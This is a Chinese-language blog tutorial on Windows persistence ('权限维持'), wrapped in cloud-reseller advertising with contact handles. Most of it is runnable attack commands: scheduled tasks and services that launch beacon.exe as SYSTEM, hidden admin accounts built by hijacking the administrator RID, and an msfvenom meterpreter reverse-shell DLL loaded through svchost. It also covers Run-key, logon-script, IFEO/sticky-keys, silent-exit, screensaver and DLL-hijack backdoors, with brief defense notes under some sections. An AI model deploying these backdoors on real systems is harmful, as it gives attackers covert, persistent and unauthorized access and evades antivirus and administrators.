windows权限维持方法详解

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

权限维持

在获取服务器权限后为了防止服务器管理员发现和修补漏洞而导致对服务器权限的丢失测试人员往往需要采取一些手段来实现对目标服务器的持久化访问。

权限持久化权限维持技术就是包括任何可以被测试人员用来在系统重启、更改用凭据或其他可能造成访问中断的情况发生时保持对系统的访问技术。

常见系统后门技术

1. 创建计划任务

通过创建计划任务让目标主机在特定的时间点或规定的周期内重复运行测试人员预先准备的后门程序从而实现权限持久化。

windows中使用schtasks命令创建计划任务。https://www.yuque.com/chenchen-dqalz/ddhuud/dqzgp7

1. 在\Microsoft\Windows\AppTask\AppRun\路径下创建计划任务"updatex"触发程序为beacon.exe运行级别为高级别以system权限每隔2分钟运行一次。

schtasks /create /tn "\Microsoft\Windows\AppTask\AppRun\updatex" /tr C:\beacon.exe /rl highest /F /sc minute /mo 2 /RU system

ps如果当前为普通用户执行计划任务 /ru参数值可以设置为 %username%如果是管理员则可以指定为.system

防御

当计划任务指定了路径时通过启动项管理是看不到创建的计划任务的需要火绒剑

2. 创建影子账户

影子账户就是隐藏账户无论通过“计算机管理”还是命令行查询都无法看到只能在注册表中找到其信息。可以通过创建具有管理员权限的影子账户在目标主机上实现权限维持不过需要拥有管理员级别的权限。

通过创建影子账户测试人员可以随时随地通过远程桌或其他方法登录目标系统

1. 使用如下命令创建隐藏用户并加入管理员组

net user hacker$ 123456 /add

# $表示该用户为隐藏账户

net localgroup administrators hacker$ /add

创建成功后使用 net user 命令无法查看到此用户

但是 net localgroup administrators 、用户管理、用户登录界面可以查看到

修改注册表

我们可以通过对注册表的修改来将其完全隐藏

  1. 修改注册表sam的权限为 administrator账户完全控制

定位到如下右键选择权限将administrator的权限设置为完全控制。因为该注册表项中的内容在标准用户和管理员权限下都是不可见的

HKEY_LOCAL_MACHINE\SAM\SAM

再重新进入注册表就能展开“SAM”下的内容了

  1. 劫持administrator的RID

点击administrator可见类型为01f4在左边找到与01f4相同的目录名

进入如下双击复制000001F4表项的F属性的值

以相同的方法找到与隐藏账户hacker$类型值相同的相应的目录“000003EA”将复制的“000001F4表项的F属性的值”粘贴到“000003EA表项的F属性值”中

以上过程其实是hacker劫持了administrator用户的RID从而使hacker$用户获得administrator用户的权限只是将hacker$账号添加到administrators组中会无法完成整个操作如无法远程登录hacker$

  1. 选择注册表项hacker$和000003EA并导出

以同样的方式导出000003EA目录

  1. 删除hacker$

net user hacker$ /del

  1. 将刚才导出的两个注册表文件再导入注册表中即可

到此真正的影子账号就建立好了。此时无论是net localgroup administrators 、用户管理、用户登录界面都无法查看到只有注册表中才能看到刚账号的信息

成功对hacker$进行远程桌面连接其实就是通过克隆的方式能够继承原帐户administrator的权限如果目标administrator账号在线则会被挤出

以上所有的过程通过脚本实现有一定难度https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F

防御

查看如下注册表需先分配权限并与net user中比较看是否存在可疑账号。

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

激活Guest账户

Guest为windows为内置账号属于Guests组默认为禁用状态可以将他激活设定密码并加入到管理员组中即可使用

net user guest /actice:yes

net user guest 123.com

net localgroup administrators guest /add

防御

  • 查看guest账号是否激活是否添加到管理员组中

3. 系统服务后门

对于启动类型为“自动”的系统服务测试人员可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷当系统或服务重启时可以重启获取对目标主机的控制权限。不过需要拥有管理员权限才能操作

创建自启动服务

自启动服务一般是在电脑启动后 在后台加载指定的服务程序我们可以将 exe 文件注册为服务也可以将 dll 文件注册为服务。

针对服务的操作涉及到一条命令sc。其可以更改服务的属性、启动状态删除或停止服务。

1. 创建服务

#创建名为backdoor的服务注意等号后面有空格设置自启动启动权限为system

sc create backdoor binpath= "cmd.exe /k C:\beacon.exe" start= "auto" obj= "Localsystem"

#启动服务

net start backdoor

#查询服务

sc query backdoor

#删除服务

sc delete backdoor

服务如下

启动服务上线

当系统或服务重启将以system权限运行后门程序beacon.exe目标主机将重新上线

利用现有的系统服务

通过修改现有服务的配置信息使服务启动时运行指定的后门程序。通过“sc config”命令修改服务的binpath选项也可以尝试修改服务注册表的ImagePath键二者都直接指定了相应服务启动运行的二进制文件。

利用svchost.exe启动服务

svchost.exe是windows的系统文件官方解释svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要而且是不能被结束的。许多服务通过注入到该程序中启动所以会有多个该文件的进程。

在windows系统中需要由svchost.exe进程启动的服务将以DLL形式实现。在安装这些服务时需要将服务的可执行文件路径指向svchost.exe。在启动这些服务时由svchost.exe调用相应服务的dll文件而具体调用哪个dll是由该服务在注册表的信息所决定。

如下服务启动的可执行文件的路径为“%systemroot%\system32\svchost.exe -k netsvcs”说明该服务是依靠svchost.exe加载DLL文件来实现的

该服务的注册表下还有一个Parameters子项其中的ServiceDLL键值表明该服务由哪个dll文件负责。当服务启动时svchost.exe就会加载wuaueng.dll文件并执行其提供的具体服务

注意系统会根据服务可执行文件路径中的参数对服务进行分组如 %systemroot%\system32\svchost.exe -k netsvcs 表明该服务属于netsvcs这个服务组。通常每个svchost进程负责运行一组服务。因此并不是每启动一个服务就会增加一个svchost.exe进程。

svchost.exe的所有服务组位于注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost中。通过svchost.exe加载启动的服务都要在该表项中注册

在实战中测试人员可以通过svchost.exe加载恶意服务以此建立持久化后门。由于恶意服务dll将加载到svchost.exe进程恶意进程不是独立运行的因此使用这种方法建立的后门具有很高的隐蔽性。

  1. msf生成恶意dll文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.5 LPORT=4444 -f dll -o reverse_tcp.dll

  1. 将生成的dll上传到目标主机的c盘下依次执行以下命令安装并配置恶意服务。

#1.创建名为backdoor的服务并以svchost加载的方式启动服务分组为netsvc

sc create backdoor binPath= "C:\Windows\System32\svchost.exe -k netsvc" start= "auto" obj= "Localsystem"

#2.设置backdoor服务启动时加载的dll为beacon.dll

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\system32\beacon.dll"

#3.配置服务描述

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor /v Description /t REG_SZ /d "Windows update Service"

#4.配置服务显示名称

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\backdoor /v DisplayName /t REG_SZ /d "backdoor"

#5.创建服务新分组netsvc并将backdoor服务添加进去

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d backdoor

启动服务或者重启系统时Svchost.exe以system权限加载恶意服务目标主机将上线可能因为dll的原因连接msf后马上又掉了

4. 启动项/注册表键后门

通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。添加的后门程序将在用户登录的上下文中启动并且具有与账户相关联的权限等级。

系统启动文件夹

将程序放置在启动文件夹中会导致该程序在用户登录时执行。windows中有两种常见的启动文件夹

  1. 用户自启动文件夹

里面存放的程序只对当前用户生效。每个用户都有自己的自启动文件夹

win+r 后输入shell:startup

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

# %USERPROFILE% 为系统变量 = C:\Users\用户名

  1. 系统自启动文件夹

无论哪个用户登录账户都将检查并启动该文件夹中的程序。普通用户想写入该文件夹需要有管理员权限

win+r 后输入

%programdata%\Microsoft\Windows\Start Menu\Programs\Startup

# %ProgramData% = C:\ProgramData

在这里添加的启动项安全软件中能在启动项中看到此程序

防御

检查对应的文件夹中是否存在可疑程序

注册表运行键

windows系统上有许多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载指定DLL文件可以对此类注册表进行滥用以建立持久化后门。

当用户登录时系统会依次检查位于注册表运行键Run keys中的程序并在用户登录的上下文中启动

#以下注册表中的程序将在当前用户登录时启动

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

#以下注册表中的程序将在所有用户登录时启动

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

如下在注册表运行键中添加一个名为“backdoor”的键并将键值指向后门程序的绝对路径。系统中任何用户登录都将触发程序执行

REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\beacon.exe"

防御

检查对应注册表中是否存在可疑键

logon scripts 后门

Windows 登录脚本当用户登录时触发Logon Scripts 能够优先于杀毒软件执行绕过杀毒软件对敏感操作的拦截。

注册表位置HKEY_CURRENT_USER\Environment

HKEY_CURRENT_USER\Environment

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\poc.exe"

查询注册表是否添加成功

# reg query 根键子键 /v 键名称

reg query HKEY_CURRENT_USER\Environment /v UserInitMprLogonScript

如果不存在则显示“错误: 系统找不到指定的注册表项或值”

此时用户一登录成功执行poc.exe

注意在此注册表中添加的启动项在安全软件的启动项管理中是看不出来的而且它优先于安全软件启动。比如在没有杀软的情况下我在这注册表里放了beacon.exe然后重启电脑此时杀软也启动了但是它并不会拦截该exe程序

但是此时只要一执行敏感命令如"shell whoami"就会被拦截

但是如果我们在执行特殊命令前先将进程注入到其他的正常进程去此时杀软就不会再进行拦截

Port Monitors

打印后台处理服务print Spooler负责管理windows系统的打印作业。与该服务的交互是通过Print Spooler API执行的其中包含AddMonitor函数用于安装Port Monitors本地端口监视器并连接配置、数据和监视器文件。AddMonitor函数能够将DLL注入spoolsv.exe进程以实现相应功能并且通过创建注册表键测试人员可以在目标系统上进行权限持久化。需管理员权限

  1. cs生成恶意DLL

  1. 将生成的DLL上传到目标主机的c:\windows\system32目录中并执行以下命令通过编辑注册表安装一个端口监视器

#HKLM\SYSTEM\就是HKEY_LOCAL_MACHINEMonitors为新建的目录

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse.dll"

当系统重启时Print Spooler服务在启动过程中会读取Monitors注册表项的所有子键并以system权限加载Drivers键值所指定的DLL文件。不知为何重启后我这里cs没有上线

事件触发执行

1. 利用WMI事件订阅

使用WMI的功能在远程主机上部署永久事件订阅并在特定事件发生时执行特定的后门程序以建立持久化后门 —> https://www.yuque.com/chenchen-dqalz/qe15s1/rrc5ws

2. 利用系统辅助功能

windows系统包含了许多供用户通过组合键启动的辅助功能测试人员可以修改这些程序的启动方式以获取目标主机的命令行或运行指定的后门攻击载荷不需要登录系统即可获取目标主机权限。常见的辅助功能程序如表

程序

功能

热键组合

sethc.exe

粘滞键

连按5次Shift

magnify.exe

放大镜

windows + "+"

utilman.exe

实用程序

windows + u

osk.exe

屏幕键盘

windows + ctrl + o

displayswitch.exe

扩展屏幕

windows + p

atbroker.exe

辅助管理工具

narrator.exe

讲述者

windows + ctrl + enter

粘滞键

最常利用的辅助功能程序是sethc.exe所在路径为c:\windows\system32。通常被称为“粘滞键”。当连续5次按下shift键时该程序启动。

攻击者通过在目标主机上将cmd.exe伪装成sethc.exe然后在远程桌面登录屏幕中连按5次shit键即可获取一个命令行窗口实现未授权访问。需管理员权限。

粘滞键Windows中的粘滞键是专为同时按下两个或多个键有困难的人设计的。粘滞键的主要功能是方便Shift、Ctrl、Alt与其他键的组合使用。在我们使用热键例如“CTRL+C”时粘滞键就可以通过一次只按一个键来完成复制的功能。

在高版本的windows中c:\windows\system32目录下的文件受到系统保护只有TrustedInstaller权限的用户才能对其中的文件拥有修改和写入的权限。

所以在替换sethc.exe程序需要先通过令牌窃取提升至TrustedInstaller权限。相关提权方法见令牌窃取

获取到TrustedInstaller权限后执行以下命令

cd c:\windows\system32

move sethc.exe sethec.exe.bak

copy cmd.exe sethc.exe #将一个cmd.exe副本伪装成sethc.exe

此时在目标主机的远程桌面登录屏幕中连按次shift键即可获取一个命令窗口并且为system权限

3. 映像劫持

“映像劫持”也被称为 “IFEO”Image File Execution Options是windows系统的一个注册表项路径为“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”。在windowsNT系统中IFEO原本是为一些默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。IFEO使得开发人员能够将调试器附加到应用程序。当创建进程时应用程序的IFEO中设置的调试器将附加到应用程序的名称前从而有效地在调试器下启动新进程。

Dubugger

  • 利用前提开启3389端口

当用户启动计算机的程序后系统会在注册表的IEFO中查询所有的程序子键如果存在与该程序名称相同的子键就读取对应子键的“Dubugger”键值。如果该键值未被设置就默认不做处理否则直接使用该键值所指定的程序路径来代替原始的程序。

通过编辑“dubugger”的值测试人员可以通过修改注册表的方式创建粘滞键后门而不需要获取TrustedInstaller权限。

在目标主机上执行以下命令向Image File Execution Options注册表项中添加映像劫持子键并将“Dubugger”的值设置为要执行的程序即可

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

此时连续按5次shift键即可打开cmd。当该机器开启远程连接时我们在linux机器上与其进行远程连接弹出连接窗口后。连按次shift键即可打开cmd。此时无需输入目标用户密码

防御

查看是否存在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe”注册表项

GlobalFlag

IFEO还可以在程序静默退出时启动任意监控程序。实现的效果是程序A静默退出结束后会执行程序B。

劫持notepad.exe记事本示例

#启用对记事本进程的静默退出监视

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

#启用windows错误报告进程WerFault.exe它将成为beacon.exe的父进程

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

#京监视进程设为beacon.exe

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\beacon.exe"

此时我们打开notepad再关闭后将在werFauit.exe父进程中创建子进程以运行后门程序beacon.exe

每次启动再关闭记事本都会生成一个beacon.exe进程

防御

查看“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit”注册表中是否存在可疑项且项中的键值是否指向可疑程序

4. 利用屏幕保护程序

屏幕保护是windows系统的一项功能可以在一段时间不活动后播放屏幕消息或图形动画。屏幕保护程序又具有.scr文件扩展名的可执行文件组成。系统注册表项HKEY_CURRENT_USER\Control Panel\Desktop下存储用来设置屏幕保护程序的键值。

键名

说明

SCRNSAVE.EXE

设置屏幕保护程序的路径其指向.scr为扩展名的可执行文件

ScreenSaveActive

设置是否启用屏幕保护程序默认为1表示启动

ScreenSaverIsSecure

设置是否需要密码解锁设为0表示不需要密码

ScreenSaveTimeOut

设置执行屏幕保护程序之前用户不活动的超时

测试人员可以通过编辑注册表修改屏幕保护程序的执行路径即scrnsave.exe键的值当触发屏幕保护时执行自定义的后门程序以此实现持久化命令如下

#将触发屏幕保护时执行的程序设为自定义的恶意程序这里的程序以.scr或.exe为扩展名皆可

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "c:\beacon.exe" /f

#启用屏幕保护

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f

#设置不需要密码解锁

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f

#将用户不活动的超时设置为60秒

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f

利用该技术不需要管理员源权限以标准用户权限即可利用。这里实验无任何反应

5. DLL劫持

DLL劫持是指将通过同名的恶意DLL文件放在合法DLL文件所在路径前的搜索位置当应用程序搜索DLL时会以恶意DLL代替合法的DLL来加载。通过劫持应用程序或服务所加载的DLL文件在目标系统上建立持久化后门。

劫持应用程序

参考https://cloud.tencent.com/developer/article/1951503

劫持系统服务

MSDTC分布式事务处理协调器是windows系统服务负责协调跨越多个资源管理器例如数据库消息队列和文件系统的事务。

MSDTC服务启动后将尝试在c:\windows\system32目录中加载oci.dll文件但是该文件不存在。所以我们可以制作一个恶意的dll将其命名为oci.dll并放在c:\windows\system32目录下当MSDTC服务启动时恶意dll将加载到msdtc.exe进程中。注意在某些版本的系统中MSDTC服务的启动类型默认为手动。为了实现权限持久化可以将其启动类型改为“自动”

  1. 将msdtc服务启动类型设置为自动

sc config msdtc start= "auto"

  1. 复制恶意dll到c:\windows\system32目录下

  1. 服务或系统重启时主机上线并且权限为network service

防御

检查c:\windows\system32目录中是否存在oci.dll恶意文件因为默认是不存在该文件的

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: windows